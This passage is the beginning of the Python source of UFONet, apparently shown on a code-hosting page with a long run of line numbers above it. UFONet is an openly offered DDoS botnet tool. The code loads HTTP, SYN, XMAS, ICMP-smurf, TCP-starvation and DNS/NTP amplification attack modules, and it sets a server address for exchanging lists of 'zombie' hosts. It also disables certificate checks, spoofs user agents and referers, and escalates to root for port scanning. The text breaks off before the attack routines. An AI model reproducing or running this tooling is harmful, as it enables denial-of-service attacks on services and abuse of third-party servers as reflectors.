main.py 246 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185118611871188118911901191119211931194119511961197119811991200120112021203120412051206120712081209121012111212121312141215121612171218121912201221122212231224122512261227122812291230123112321233123412351236123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263126412651266126712681269127012711272127312741275127612771278127912801281128212831284128512861287128812891290129112921293129412951296129712981299130013011302130313041305130613071308130913101311131213131314131513161317131813191320132113221323132413251326132713281329133013311332133313341335133613371338133913401341134213431344134513461347134813491350135113521353135413551356135713581359136013611362136313641365136613671368136913701371137213731374137513761377137813791380138113821383138413851386138713881389139013911392139313941395139613971398139914001401140214031404140514061407140814091410141114121413141414151416141714181419142014211422142314241425142614271428142914301431143214331434143514361437143814391440144114421443144414451446144714481449145014511452145314541455145614571458145914601461146214631464146514661467146814691470147114721473147414751476147714781479148014811482148314841485148614871488148914901491149214931494149514961497149814991500150115021503150415051506150715081509151015111512151315141515151615171518151915201521152215231524152515261527152815291530153115321533153415351536153715381539154015411542154315441545154615471548154915501551155215531554155515561557155815591560156115621563156415651566156715681569157015711572157315741575157615771578157915801581158215831584158515861587158815891590159115921593159415951596159715981599160016011602160316041605160616071608160916101611161216131614161516161617161816191620162116221623162416251626162716281629163016311632163316341635163616371638163916401641164216431644164516461647164816491650165116521653165416551656165716581659166016611662166316641665166616671668166916701671167216731674167516761677167816791680168116821683168416851686168716881689169016911692169316941695169616971698169917001701170217031704170517061707170817091710171117121713171417151716171717181719172017211722172317241725172617271728172917301731173217331734173517361737173817391740174117421743174417451746174717481749175017511752175317541755175617571758175917601761176217631764176517661767176817691770177117721773177417751776177717781779178017811782178317841785178617871788178917901791179217931794179517961797179817991800180118021803180418051806180718081809181018111812181318141815181618171818181918201821182218231824182518261827182818291830183118321833183418351836183718381839184018411842184318441845184618471848184918501851185218531854185518561857185818591860186118621863186418651866186718681869187018711872187318741875187618771878187918801881188218831884188518861887188818891890189118921893189418951896189718981899190019011902190319041905190619071908190919101911191219131914191519161917191819191920192119221923192419251926192719281929193019311932193319341935193619371938193919401941194219431944194519461947194819491950195119521953195419551956195719581959196019611962196319641965196619671968196919701971197219731974197519761977197819791980198119821983198419851986198719881989199019911992199319941995199619971998199920002001200220032004200520062007200820092010201120122013201420152016201720182019202020212022202320242025202620272028202920302031203220332034203520362037203820392040204120422043204420452046204720482049205020512052205320542055205620572058205920602061206220632064206520662067206820692070207120722073207420752076207720782079208020812082208320842085208620872088208920902091209220932094209520962097209820992100210121022103210421052106210721082109211021112112211321142115211621172118211921202121212221232124212521262127212821292130213121322133213421352136213721382139214021412142214321442145214621472148214921502151215221532154215521562157215821592160216121622163216421652166216721682169217021712172217321742175217621772178217921802181218221832184218521862187218821892190219121922193219421952196219721982199220022012202220322042205220622072208220922102211221222132214221522162217221822192220222122222223222422252226222722282229223022312232223322342235223622372238223922402241224222432244224522462247224822492250225122522253225422552256225722582259226022612262226322642265226622672268226922702271227222732274227522762277227822792280228122822283228422852286228722882289229022912292229322942295229622972298229923002301230223032304230523062307230823092310231123122313231423152316231723182319232023212322232323242325232623272328232923302331233223332334233523362337233823392340234123422343234423452346234723482349235023512352235323542355235623572358235923602361236223632364236523662367236823692370237123722373237423752376237723782379238023812382238323842385238623872388238923902391239223932394239523962397239823992400240124022403240424052406240724082409241024112412241324142415241624172418241924202421242224232424242524262427242824292430243124322433243424352436243724382439244024412442244324442445244624472448244924502451245224532454245524562457245824592460246124622463246424652466246724682469247024712472247324742475247624772478247924802481248224832484248524862487248824892490249124922493249424952496249724982499250025012502250325042505250625072508250925102511251225132514251525162517251825192520252125222523252425252526252725282529253025312532253325342535253625372538253925402541254225432544254525462547254825492550255125522553255425552556255725582559256025612562256325642565256625672568256925702571257225732574257525762577257825792580258125822583258425852586258725882589259025912592259325942595259625972598259926002601260226032604260526062607260826092610261126122613261426152616261726182619262026212622262326242625262626272628262926302631263226332634263526362637263826392640264126422643264426452646264726482649265026512652265326542655265626572658265926602661266226632664266526662667266826692670267126722673267426752676267726782679268026812682268326842685268626872688268926902691269226932694269526962697269826992700270127022703270427052706270727082709271027112712271327142715271627172718271927202721272227232724272527262727272827292730273127322733273427352736273727382739274027412742274327442745274627472748274927502751275227532754275527562757275827592760276127622763276427652766276727682769277027712772277327742775277627772778277927802781278227832784278527862787278827892790279127922793279427952796279727982799280028012802280328042805280628072808280928102811281228132814281528162817281828192820282128222823282428252826282728282829283028312832283328342835283628372838283928402841284228432844284528462847284828492850285128522853285428552856285728582859286028612862286328642865286628672868286928702871287228732874287528762877287828792880288128822883288428852886288728882889289028912892289328942895289628972898289929002901290229032904290529062907290829092910291129122913291429152916291729182919292029212922292329242925292629272928292929302931293229332934293529362937293829392940294129422943294429452946294729482949295029512952295329542955295629572958295929602961296229632964296529662967296829692970297129722973297429752976297729782979298029812982298329842985298629872988298929902991299229932994299529962997299829993000300130023003300430053006300730083009301030113012301330143015301630173018301930203021302230233024302530263027302830293030303130323033303430353036303730383039304030413042304330443045304630473048304930503051305230533054305530563057305830593060306130623063306430653066306730683069307030713072307330743075307630773078307930803081308230833084308530863087308830893090309130923093309430953096309730983099310031013102310331043105310631073108310931103111311231133114311531163117311831193120312131223123312431253126312731283129313031313132313331343135313631373138313931403141314231433144314531463147314831493150315131523153315431553156315731583159316031613162316331643165316631673168316931703171317231733174317531763177317831793180318131823183318431853186318731883189319031913192319331943195319631973198319932003201320232033204320532063207320832093210321132123213321432153216321732183219322032213222322332243225322632273228322932303231323232333234323532363237323832393240324132423243324432453246324732483249325032513252325332543255325632573258325932603261326232633264326532663267326832693270327132723273327432753276327732783279328032813282328332843285328632873288328932903291329232933294329532963297329832993300330133023303330433053306330733083309331033113312331333143315331633173318331933203321332233233324332533263327332833293330333133323333333433353336333733383339334033413342334333443345334633473348334933503351335233533354335533563357335833593360336133623363336433653366336733683369337033713372337333743375337633773378337933803381338233833384338533863387338833893390339133923393339433953396339733983399340034013402340334043405340634073408340934103411341234133414341534163417341834193420342134223423342434253426342734283429343034313432343334343435343634373438343934403441344234433444344534463447344834493450345134523453345434553456345734583459346034613462346334643465346634673468346934703471347234733474347534763477347834793480348134823483348434853486348734883489349034913492349334943495349634973498349935003501350235033504350535063507350835093510351135123513351435153516351735183519352035213522352335243525352635273528352935303531353235333534353535363537353835393540354135423543354435453546354735483549355035513552355335543555355635573558355935603561356235633564356535663567356835693570357135723573357435753576357735783579358035813582358335843585358635873588358935903591359235933594359535963597359835993600360136023603360436053606360736083609361036113612361336143615361636173618361936203621362236233624362536263627362836293630363136323633363436353636363736383639364036413642364336443645364636473648364936503651365236533654365536563657365836593660366136623663366436653666366736683669367036713672367336743675367636773678367936803681368236833684368536863687368836893690369136923693369436953696369736983699370037013702370337043705370637073708370937103711371237133714371537163717371837193720372137223723372437253726372737283729373037313732373337343735373637373738373937403741374237433744374537463747374837493750375137523753375437553756375737583759376037613762376337643765376637673768376937703771377237733774377537763777377837793780378137823783378437853786378737883789379037913792379337943795379637973798379938003801380238033804380538063807380838093810381138123813381438153816381738183819382038213822382338243825382638273828382938303831383238333834383538363837383838393840384138423843384438453846384738483849385038513852385338543855385638573858385938603861386238633864386538663867386838693870387138723873387438753876387738783879388038813882388338843885388638873888388938903891389238933894389538963897389838993900390139023903390439053906390739083909391039113912391339143915391639173918391939203921392239233924392539263927392839293930393139323933393439353936393739383939394039413942394339443945394639473948394939503951395239533954395539563957395839593960396139623963396439653966396739683969397039713972397339743975397639773978397939803981398239833984398539863987398839893990399139923993399439953996399739983999400040014002400340044005400640074008400940104011401240134014401540164017401840194020402140224023402440254026402740284029403040314032403340344035403640374038403940404041404240434044404540464047404840494050405140524053405440554056405740584059406040614062406340644065406640674068406940704071407240734074407540764077407840794080408140824083408440854086408740884089409040914092409340944095409640974098409941004101410241034104410541064107410841094110411141124113411441154116411741184119412041214122412341244125412641274128412941304131413241334134413541364137413841394140414141424143414441454146414741484149415041514152415341544155415641574158415941604161416241634164416541664167416841694170417141724173417441754176417741784179418041814182418341844185418641874188418941904191419241934194419541964197419841994200420142024203420442054206420742084209421042114212421342144215421642174218421942204221422242234224422542264227422842294230423142324233423442354236423742384239424042414242424342444245424642474248424942504251425242534254425542564257425842594260426142624263426442654266426742684269427042714272427342744275427642774278427942804281428242834284428542864287428842894290429142924293429442954296429742984299430043014302430343044305430643074308430943104311431243134314431543164317431843194320432143224323432443254326432743284329433043314332433343344335433643374338433943404341434243434344434543464347434843494350435143524353435443554356435743584359436043614362436343644365436643674368436943704371437243734374437543764377437843794380438143824383438443854386438743884389439043914392439343944395439643974398439944004401440244034404440544064407440844094410441144124413441444154416441744184419442044214422442344244425442644274428442944304431443244334434443544364437443844394440444144424443444444454446444744484449445044514452445344544455445644574458445944604461446244634464446544664467446844694470447144724473447444754476447744784479448044814482448344844485448644874488448944904491449244934494449544964497449844994500450145024503450445054506450745084509451045114512451345144515451645174518451945204521452245234524452545264527452845294530453145324533453445354536453745384539454045414542454345444545454645474548454945504551455245534554455545564557455845594560456145624563456445654566456745684569457045714572457345744575457645774578457945804581458245834584458545864587458845894590459145924593459445954596459745984599460046014602460346044605460646074608460946104611461246134614461546164617461846194620462146224623462446254626462746284629463046314632463346344635463646374638463946404641464246434644464546464647464846494650465146524653465446554656465746584659466046614662466346644665466646674668466946704671467246734674467546764677467846794680468146824683468446854686468746884689469046914692469346944695469646974698469947004701470247034704470547064707470847094710471147124713471447154716471747184719472047214722472347244725472647274728472947304731473247334734473547364737473847394740474147424743474447454746474747484749475047514752475347544755475647574758475947604761476247634764476547664767476847694770477147724773477447754776477747784779478047814782478347844785478647874788478947904791479247934794479547964797479847994800480148024803480448054806480748084809481048114812481348144815481648174818481948204821482248234824482548264827482848294830483148324833483448354836483748384839484048414842484348444845484648474848484948504851485248534854485548564857485848594860486148624863486448654866486748684869487048714872487348744875487648774878487948804881488248834884488548864887488848894890489148924893489448954896489748984899490049014902490349044905490649074908490949104911491249134914491549164917491849194920492149224923492449254926492749284929493049314932493349344935493649374938493949404941494249434944494549464947494849494950
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. import os, sys, re, traceback, random, time, threading, base64, string, math
  11. import io, socket, ssl, cgi, json, gzip
  12. try:
  13. from urllib.parse import urlparse as urlparse
  14. except:
  15. from urlparse import urlparse as urlparse
  16. try:
  17. import urllib.request, urllib.error, urllib.parse
  18. except:
  19. print ("\n[Error] UFONet no longer supports Python2: (https://www.python.org/doc/sunset-python-2/)\n\n[Info] [AI] Try to run the tool with Python3.x.y (ex: python3 ufonet)\n")
  20. sys.exit()
  21. from uuid import getnode
  22. from random import randrange, shuffle
  23. from .options import UFONetOptions
  24. from .update import Updater
  25. from .herd import Herd
  26. from .zombie import Zombie
  27. from .doll import Doll
  28. from core.tools.inspector import Inspector
  29. from core.tools.abductor import Abductor
  30. from core.tools.ufoscan import UFOSCAN
  31. from core.mods.loic import LOIC
  32. from core.mods.loris import LORIS
  33. from core.mods.ufosyn import UFOSYN
  34. from core.mods.spray import SPRAY
  35. from core.mods.smurf import SMURF
  36. from core.mods.xmas import XMAS
  37. from core.mods.nuke import NUKE
  38. from core.mods.tachyon import TACHYON
  39. from core.mods.monlist import MONLIST
  40. class UFONet(object):
  41. def __init__(self):
  42. self.exit_msg = 'Donate BTC (Bitcoin) to keep UFONet (https://ufonet.03c8.net) strong!' # set msg show at the end [FILO ;-)]
  43. self.blackhole = '176.28.23.46' # default download/upload zombies [Blackhole] [Server] / Try [DIY] your own [Mirror]...
  44. self.GIT_REPOSITORY = 'https://code.03c8.net/epsylon/ufonet' # oficial code source [OK! 22/12/2018]
  45. self.GIT_REPOSITORY2 = 'https://github.com/epsylon/ufonet' # mirror source [since: 04/06/2018]
  46. self.github_zombies = 'https://raw.githubusercontent.com/epsylon/ufonet/master/botnet/' # default [RAW] download/upload zombies [Blackhole] [GitHub] [DIY]
  47. self.external_check_service1 = 'https://status.ws/' # set external check service 1 [OK! 01/02/2020]
  48. self.external_check_service2 = 'https://downforeveryoneorjustme.com/' # set external check service 2 [OK! 01/02/2020]
  49. self.check_tor_url = 'https://check.torproject.org/' # TOR status checking site
  50. self.check_ip_service1 = 'https://checkip.dyndns.com/' # set external check ip service 1 [OK! 28/02/2019]
  51. self.check_ip_service2 = 'https://whatismyip.org/' # set external check ip service 2 [OK! 28/02/2019]
  52. self.check_ip_service3 = 'https://ip.42.pl/ra' # set external check ip service 3 [OK! 28/02/2019]
  53. self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
  54. self.motherships_file = 'core/txt/motherships.txt' # set source path to retrieve mothership names
  55. self.zombies_file = 'botnet/zombies.txt' # set source path to retrieve [Zombies]
  56. self.aliens_file = 'botnet/aliens.txt' # set source path to retrieve [Aliens]
  57. self.dnss_file = 'botnet/dns.txt' # set source path to retrieve [DNSs]
  58. self.droids_file = 'botnet/droids.txt' # set source path to retrieve [Droids]
  59. self.ucavs_file = 'botnet/ucavs.txt' # set source path to retrieve 'ucavs'
  60. self.rpcs_file = 'botnet/rpcs.txt' # set source path to retrieve 'rpcs'
  61. self.ntps_file = 'botnet/ntp.txt' # set source path to retrieve [NTPs]
  62. self.humans_file = 'botnet/humans.txt' # set source path to retrieve 'humans'
  63. self.dorks_file = 'botnet/dorks.txt' # set source path to retrieve [Dorks]
  64. self.mothership_stats_file = 'core/json/stats.json' # set source for mothership stats
  65. self.timeline_file = 'docs/VERSION' # set source for code releases
  66. self.news_file = "data/news.txt" # set source path to retrieve [Blackhole] [News]
  67. self.missions_file = "data/missions.txt" # set source path to retrieve [Blackhole] [Missions]
  68. self.board_file = "data/board.txt" # set source path to retrieve [Blackhole] [Board]
  69. self.grid_file = "data/grid.txt" # set source path to retrieve [Blackhole] [Grid]
  70. self.wargames_file = "data/wargames.txt" # set source path to retrieve [Blackhole] [Wargames]
  71. self.examples_file = "docs/examples.txt" # set source path to retrieve [Examples]
  72. self.misc_file = "core/txt/misc.txt" # set source path to retrieve [Miscellania] cites
  73. self.referer = '' # black magic
  74. self.port = "8080" # default injection port
  75. self.mothershipname = "core/txt/shipname.txt"
  76. self.mothership_baptism() # generating static name/id for your mothership ;-)
  77. self.head = False
  78. self.payload = False
  79. self.external = False
  80. self.attack_mode = False
  81. self.connection_failed = False
  82. self.total_possible_zombies = 0
  83. self.herd = Herd(self)
  84. self.sem = False
  85. self.db_flash = 0 # db stress counter
  86. self.total_aliens = 0
  87. self.aliens_hit = 0
  88. self.aliens_fail = 0
  89. self.total_droids = 0
  90. self.droids_hit = 0
  91. self.droids_fail = 0
  92. self.total_ucavs = 0
  93. self.ucavs_hit = 0
  94. self.ucavs_fail = 0
  95. self.total_rpcs = 0
  96. self.rpcs_hit = 0
  97. self.rpcs_fail = 0
  98. self.total_loic = 0
  99. self.total_loris = 0
  100. self.total_syn = 0
  101. self.total_spray = 0
  102. self.total_smurf = 0
  103. self.total_xmas = 0
  104. self.total_nuke = 0
  105. self.total_tachyon = 0
  106. self.total_monlist = 0
  107. self.total_zombies_failed_connection = 0
  108. self.ctx = ssl.create_default_context() # creating context to bypass SSL cert validation (black magic)
  109. self.ctx.check_hostname = False
  110. self.ctx.verify_mode = ssl.CERT_NONE
  111. self.nat_error_flag = "OFF"
  112. self.trans_zombies = 0
  113. self.scanned_zombies = 0
  114. self.loadcheck_counter = 0
  115. self.loadcheck_prev_size = None
  116. self.loadcheck_prev_load = None
  117. self.loadcheck_first_size = None
  118. self.loadcheck_first_load = None
  119. self.loadcheck_size_list = []
  120. self.loadcheck_load_list = []
  121. self.loadcheck_size_median = None
  122. self.loadcheck_size_max = None
  123. self.loadcheck_size_min = None
  124. self.loadcheck_load_median = None
  125. self.loadcheck_size_max = None
  126. self.loadcheck_size_min = None
  127. self.num_is_up = 0 # counter for [UCAVs] 'up' reports
  128. self.num_is_down = 0 # counter for [UCAVs] 'down' reports
  129. self.expire_timing = 30 # default expiring time per round
  130. self.extra_zombies_lock = False # used to lock threading flow when [ARMY] is required
  131. self.ac_control = [] # used by 'herd.py' to lock threading flow when [Zombies] are returning
  132. def mothership_baptism(self):
  133. if os.path.exists(self.mothershipname) == True:
  134. f = open(self.mothershipname)
  135. self.mothership_id = f.read()
  136. f.close()
  137. else:
  138. self.mothership_ids = []
  139. f = open(self.motherships_file)
  140. motherships = f.readlines()
  141. f.close()
  142. for ship in motherships:
  143. ship = ship.encode("utf-8")
  144. self.mothership_ids.append(base64.urlsafe_b64encode(ship))
  145. self.mothership_id = str(base64.b64decode(random.choice(self.mothership_ids).strip()), 'utf-8')
  146. m = open(self.mothershipname, "w") # write mothership name to a static file as a baptism
  147. m.write(str(self.mothership_id.upper()))
  148. m.close()
  149. def create_options(self, args=None):
  150. self.optionParser = UFONetOptions()
  151. self.options = self.optionParser.get_options(args)
  152. if not self.options:
  153. return False
  154. return self.options
  155. def banner_welcome(self):
  156. print("")
  157. print(" 0=============================================0")
  158. print(" || ||")
  159. print(" || || || * Botnet -> [DDoS]: ||")
  160. print(" -(00)- -(00)- || /Zombies : HTTP GET bots ||")
  161. print(" || (00) || || /Droids : HTTP GET (+params) bots ||")
  162. print(" (O)_ (O) 0'----'0 (O) _(O) || /Aliens : HTTP POST bots ||")
  163. print(" | |.''.( xx ).''.| | || /UCAVs : Web Abusing bots ||")
  164. print(" .'.' X|'..'|X '.'. || /X-RPCs : XML-RPC bots ||")
  165. print(" .-. .' /'--.__|_00_|__.--'\ '. .-. || /DBSTRESS: HTTP DB attack ||")
  166. print(" (O).)-|0| \ x| ## |x / |0|-(.(O) || /SPRAY : TCP-SYN reflector ||")
  167. print(" `-' '-'-._'-./ -00- \.-'_.-'-' `-' || /SMURF : ICMP echo flooder ||")
  168. print(" _ | || '-.___||___.-' || | _ || /TACHYON : DNS amplificator ||")
  169. print(" .' _ | ||==O | __ | O==|| | _ '. || /MONLIST : NTP amplificator ||")
  170. print(" / .' ''.| || | /_00_\ | || |.'' '. \ || ||")
  171. print(" | '### | =| | ###### | |= |' ### | || * Close Combat -> [DoS]: ||")
  172. print(" | |(0)| '. 0\||__**_ ||/0 .' |(0)| | || /LOIC : Fast HTTP requests ||")
  173. print(" \ '._.' '. | \_##_/ | .' '._.' / || /LORIS : Slow HTTP requests ||")
  174. print(" '.__ ____0_'.|__'--'__|.'_0____ __.' || /UFOSYN : TCP-SYN flooder ||")
  175. print(" .'_.-| |-._'. || /XMAS : TCP-XMAS flooder ||")
  176. print(" || /NUKE : TCP-STARVATION attack ||")
  177. print(" + Class: UFONet / ViPR404+ (model G) + || ||")
  178. print(" 0|===========================================|0")
  179. print("")
  180. def banner(self):
  181. print('='*75, "\n")
  182. print("888 888 8888888888 .d88888b. 888b 888 888 ")
  183. print("888 888 888 d88P Y888b 8888b 888 888 ")
  184. print("888 888 888 888 888 88888b 888 888 ")
  185. print("888 888 8888888 888 888 888Y88b 888 .d88b. 888888 ")
  186. print("888 888 888 888 888 888 Y88b888 d8P Y8b 888 ")
  187. print("888 888 888 888 888 888 Y88888 88888888 888 ")
  188. print("Y88b. .d88P 888 Y88b. .d88P 888 Y8888 Y8b. Y88b. ")
  189. print(" 'Y88888P' 888 'Y88888P' 888 Y888 'Y8888 'Y8888")
  190. print(self.optionParser.description, "\n")
  191. print('='*75)
  192. def generate_exit_msg(self):
  193. f = open(self.misc_file)
  194. m = f.readlines()
  195. f.close()
  196. self.exit_msg = "Generating random exit... \n\n"
  197. self.exit_msg += " -> "+str(random.choice(m).strip())
  198. def AI(self):
  199. try:
  200. import turtle as AI
  201. print("\n[AI] Making a unique drawing using 'Turtle' (Feurzig & Papert - 1966) -> [OK!]\n")
  202. colors = ['red', 'purple', 'blue', 'green', 'orange', 'yellow']
  203. bg = random.choice(colors).strip()
  204. t = AI.Pen()
  205. AI.bgcolor(bg)
  206. r = random.randrange(100,100000)
  207. for x in range(r):
  208. t.pencolor(colors[x%6])
  209. w = random.randrange(100,1000)
  210. t.width(x/w + 1)
  211. t.forward(x)
  212. l = random.randrange(50,1000)
  213. t.left(l)
  214. except:
  215. print("[AI] %!$1#9#84#~... -> [Exiting!]")
  216. pass
  217. def round_float(self, num):
  218. return str(int(round(num, -1)))[2] # black magic
  219. def show_mac_address(self):
  220. mac = getnode() # to get physical address
  221. hex_mac = str(":".join(re.findall('..', '%012x' % mac)))
  222. return hex_mac
  223. def show_ips(self):
  224. import requests
  225. try:
  226. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  227. s.connect(("8.8.8.8", 80))
  228. private_ip = s.getsockname()[0] # black magic
  229. s.close()
  230. except:
  231. private_ip = "Unknown"
  232. try:
  233. public_ip = requests.get(self.check_ip_service3).text
  234. except:
  235. try:
  236. public_ip = requests.get(self.check_ip_service2).text
  237. except:
  238. try:
  239. public_ip = requests.get(self.check_ip_service1).text
  240. except:
  241. public_ip = "Unknown"
  242. return private_ip, public_ip
  243. def try_running(self, func, error, args=None):
  244. options = self.options
  245. args = args or []
  246. try:
  247. return func(*args)
  248. except Exception as e:
  249. if options.verbose:
  250. print(error, "error")
  251. traceback.print_exc()
  252. def checkeuid(self):
  253. try:
  254. euid = os.geteuid()
  255. except:
  256. print("[Error] [AI] [UFONet] doesn't work correctly in systems with closed licenses...-> [Exiting!]\n")
  257. print("[AI] "+self.exit_msg+"\n")
  258. sys.exit(2) # return
  259. return euid
  260. def start_ship_engine(self):
  261. self.agents = [] # generating available user-agents
  262. f = open(self.agents_file)
  263. agents = f.readlines()
  264. f.close()
  265. for agent in agents:
  266. self.agents.append(agent)
  267. self.user_agent = random.choice(self.agents).strip()
  268. self.search_engines = [] # available dorking search engines
  269. self.search_engines.append('bing') # [01/02/2020: OK!]
  270. self.search_engines.append('yahoo') # [01/02/2020: OK!]
  271. self.search_engines.append('duck') # [01/02/2020: OK!]
  272. #self.search_engines.append('startpage') # [01/02/2020: deprecated! -> blocking instream params search]
  273. #self.search_engines.append('yandex') # [03/02/2018: deprecated! -> captchasound]
  274. #self.search_engines.append('google') # [09/08/2016: modified -> not working from TOR]
  275. if not os.path.exists("core/json/"): # create gui json cfg files folder
  276. os.mkdir("core/json/")
  277. self.banner_welcome()
  278. self.update_flying_stats() # update flying time stats
  279. chargo = self.check_mothership_chargo() # check mothership chargo
  280. self.update_max_chargo(int(chargo)) # update max chargo stats
  281. self.generate_exit_msg() # generate random exit msg
  282. def run(self, opts=None):
  283. if opts:
  284. self.create_options(opts)
  285. options = self.options
  286. # start threads
  287. if not self.options.threads:
  288. self.options.threads=5 # default number of threads
  289. self.sem = threading.Semaphore(self.options.threads)
  290. # start ship engine
  291. self.start_ship_engine()
  292. # check proxy options
  293. proxy = options.proxy
  294. if options.proxy:
  295. try:
  296. pattern = 'http[s]?://(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]):[0-9][0-9][0-9][0-9]'
  297. m = re.search(pattern, proxy)
  298. if m is None:
  299. self.banner()
  300. print ("\n[Error] [AI] Proxy malformed! (ex: 'http(s)://127.0.0.1:8118') -> [Exiting!]\n")
  301. return
  302. else:
  303. self.proxy_transport(options.proxy) # create proxy transport (also here, to be sure)
  304. except Exception:
  305. self.banner()
  306. print ("\n[Error] [AI] Proxy malformed! (ex: 'http(s)://127.0.0.1:8118') -> [Exiting!]\n")
  307. return
  308. # check tor connection
  309. if options.checktor:
  310. url = self.check_tor_url # TOR status checking site
  311. self.banner()
  312. print("\nSending request to: " + url + "\n")
  313. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  314. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  315. try:
  316. if options.proxy: # set proxy
  317. self.proxy_transport(options.proxy)
  318. req = urllib.request.Request(url, None, headers)
  319. tor_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  320. your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip() # extract public IP
  321. if not tor_reply or 'Congratulations' not in tor_reply:
  322. print("It seems that Tor is not properly set.\n")
  323. print(("IP address appears to be: " + your_ip + "\n"))
  324. else:
  325. print("Congratulations!. Tor is properly being used :-)\n")
  326. print(("IP address appears to be: " + your_ip + "\n"))
  327. except:
  328. print("Cannot reach TOR checker system!. Are you correctly connected?\n")
  329. sys.exit(2) # return
  330. # run AES256+HMAC-SHA1 enc/dec tool
  331. if options.cryptomsg:
  332. from core.tools.crypter import Cipher
  333. print(" " + '='*44)
  334. print(" ")
  335. print(" ____...------------...____ ")
  336. print(" _.-'' /o/__ ____ __ __ __ \o\_`'-._ ")
  337. print(" .' / / \ \ '. ")
  338. print(" |=====/o/======================\o\=====| ")
  339. print(" |____/_/________..____..________\_\____| ")
  340. print(" / _/ \_ <_o#\__/#o_> _/ \_ \ ")
  341. print(" \__/_____\####/0213411543/####/_____\__/ ")
  342. print(" |===\!/========================\!/===| ")
  343. print(" | |=| .---. |=| | ")
  344. print(" |===|o|=========/ \========|o|===| ")
  345. print(" | | | \() ()/ | | | ")
  346. print(" |===|o|======{'-.) A (.-'}=====|o|===| ")
  347. print(" | __/ \__ '-.\\uuu/.-' __/ \__ | ")
  348. print(" |==== .'.'^'.'.====|====.'.'^'.'.====| ")
  349. print(" | _\o/ __ {.' __ '.} _ _\o/ _| ")
  350. print(" '''''''''''''''''''''''''''''''''''''' ")
  351. print("\n + UFONet Crypter (AES256+HMAC-SHA1)")
  352. print(" (140 plain text chars = 69 encrypted chars)\n")
  353. print(" " + '='*44 + "\n")
  354. text = str(input("-> Enter TEXT: "))
  355. input_key = str(input("\n-> Enter KEY: "))
  356. key = base64.b64encode(input_key.encode('utf-8')).decode('utf-8')
  357. c = Cipher(key, text)
  358. msg = c.encrypt()
  359. msg = msg.decode('utf-8')
  360. c.set_text(msg)
  361. print("\n" + " " + '-'*44)
  362. print('\n-> Ciphertext: [', msg, ']')
  363. print('\n-> Length:', len(msg))
  364. print("\n" + " " + '-'*44)
  365. print('\n-> Key (share it using SNEAKNET!):', input_key)
  366. print('\n-> Decryption PoC:', c.decrypt().decode('utf-8'), "\n")
  367. # run shownet tool
  368. if options.shownet:
  369. hex_mac = self.show_mac_address()
  370. self.banner()
  371. print("-> Network Info:")
  372. print('='*44)
  373. print("-"*35)
  374. print("|- MAC Address :", hex_mac)
  375. print("|" +"-"*34)
  376. private_ip, public_ip = self.show_ips()
  377. print("|- IP Private :", private_ip)
  378. print("|" +"-"*34)
  379. t = urlparse(self.check_ip_service3)
  380. name_service = t.netloc
  381. print("|- IP Public :", public_ip +" | ["+name_service+"]")
  382. print("-"*35)
  383. print('='*75, "\n")
  384. # run UFOSCAN tool (check EUID when running UFOSCAN)
  385. if options.xray:
  386. euid = self.checkeuid()
  387. if euid != 0:
  388. print("[Info] [AI] [Control] [UFOSCAN] (--xray) not started as root...\n")
  389. try:
  390. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  391. os.execlpe('sudo', *args)
  392. except:
  393. pass # keep running
  394. else:
  395. if not options.xrayps:
  396. options.xrayps = str("1-1024") # default scanning ports (1-1024)
